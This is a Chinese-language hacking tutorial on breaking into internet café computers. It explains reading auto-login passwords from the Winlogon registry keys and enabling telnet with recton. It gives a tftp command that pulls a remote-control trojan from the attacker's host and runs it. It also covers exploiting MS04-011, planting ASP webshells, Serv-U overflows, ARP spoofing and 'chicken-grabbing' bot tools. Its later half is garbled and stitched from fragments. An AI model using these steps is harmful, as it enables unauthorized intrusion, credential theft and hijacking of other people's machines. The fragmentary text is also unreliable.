如何入侵网吧主机

一
网吧入侵
入侵的方法很多，但对网吧入侵最常用的方法是什么呢？首先，自动登陆。现在网吧一般都是win2000或者
windows
xp的机器，网管一般都把机子设置为自动登陆！这样我们开机进入系统的时候登陆窗口一闪而过！着时候如果我们findfassexe试图把登陆账号密码找出来是不会成功的！因为账号密码根本不在内存中，而findfassexe通过winlogon的PID号和正确的域名中，在内存寻找好段加了密的内存块(保存着加密过的登陆密码)，然后对它进行解密，这样就能得到明文的密码。实际上自动登陆的账号密码都在注册表中。我们打开注册表
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\这个目录下，AutoAdminLogon这一项的键值为1，表示自动登陆。为1的时候，打开控制面板的用户和密码，会发现需要密码前面的钩已经去掉了。DefaultUserName对应的键值就是登陆用户名，DefaultPassword对应的键值就是登陆密码。实际上海洋顶端木马2006就有着一功能，原理是一样的，不过因为权限的问题，不一定能读出来。这样，密码账号我们都找出来了。
你要知道，一个网吧的自动登陆密码账号一般都是一样的，而且网管为了方便网虫上网一般把他们设置在管理员组，至少user组。知道了密码账号还愁入侵不了么？网吧机子的server服务一般是禁用的，那我们就不能用ipc入侵了。opentelnetexe我们也用不了，因为着个也依赖ipc连接，
dameware远程控制也不行，道理一样。我们可以用recton着个小巧实用的工具来开telnet，这个工具在win2000下面特别好使。
开了telnet后，我们telnet上去，先在本机打开tftpd32exe,再telnet下面telnet
-i
myip
get
3721exe
c:\3721exe,这样就把我们的木马3721exe比如radmin传过去了。
再在telnet下面直接运行3721exe就ok了。
另一个方法就是ms04011漏洞，别以为着个漏洞已经过时了，在网吧这个漏洞还是相当普遍的，许多网吧的网管只会装游戏，重装系统，不重视着写漏洞，懒得打补丁！我们用DSScan扫描19216801-1921680255,一般会你会很惊喜的。我们到用ms04011溢出工具溢出，一下子就得到了系统权限。
还有很多入侵方法，你可以把xscan搬出来扫描一下。很多菜鸟喜欢用啊D工具包来扫网吧的空口令，实际上这个工具扫用户账号密码很弱，以前我试过，我用上面第一种方法发现网吧都有一个密码为空的管理员账号，用啊D工具包只扫出几台机子有这个账号。我经常用我的最爱闪电狐
——火狐端口扫描器来扫一下网吧主机，第一服务器等。着个扫描器速度很快，扫1到10000端口也要不了几分钟。如果发现服务器开80断口，自然是看是不是架设了网站。再看网站十分有漏洞，想办法传个asp木马上去提升权限。如果发现服务器装了serv_u,而且你有了一个账号，可以尝试一下
serv_u的溢出。

SHELL，网上这样的全自动抓鸡工具很多，大家可以上网搜索，不要怕有病毒，最好是找好点的黑客网站，比如这个，
1这里推荐大家一款全能软件：流光，查找漏洞、端口，绝对有效果；有的PC是局域网里的，那就可以
2通过入侵局域网里的其他电脑，然后ARP欺骗，也能达到入侵的目的，局域网里的情况很多，可能有的电脑还对此电脑开
放共享等等，情况很多，这里就不多说了。
3再说说入侵服务器IP，服务器都是挂网站的，很多网站都是挂在一个服务器上的，可以用旁注工具进行查找，找到网站的漏洞，像有的网站在主页上就有网站后台的选项，网站后台的账号和密码都是默认的（这里提醒一下那些网管，不要了吧，呵呵。还有的网站直接就有注入点，那样入侵就很简单了，中国的网站防护真的是……有的服务器好点的，网站只
挂了一个，还可能没漏洞，服务器本身也没有端口弱口令漏洞，那就只能入侵局域网里的网站，再ARP了，和上面入侵PC
4局域网的方法差不多。
其实大家看完后就知道了，入侵指定IP其实就是对你抓鸡技术的综合运用的考验，一定要认真对到每次入侵的过程，
多总结经验，文章只是参考，转化成自己的东西才是关键。

---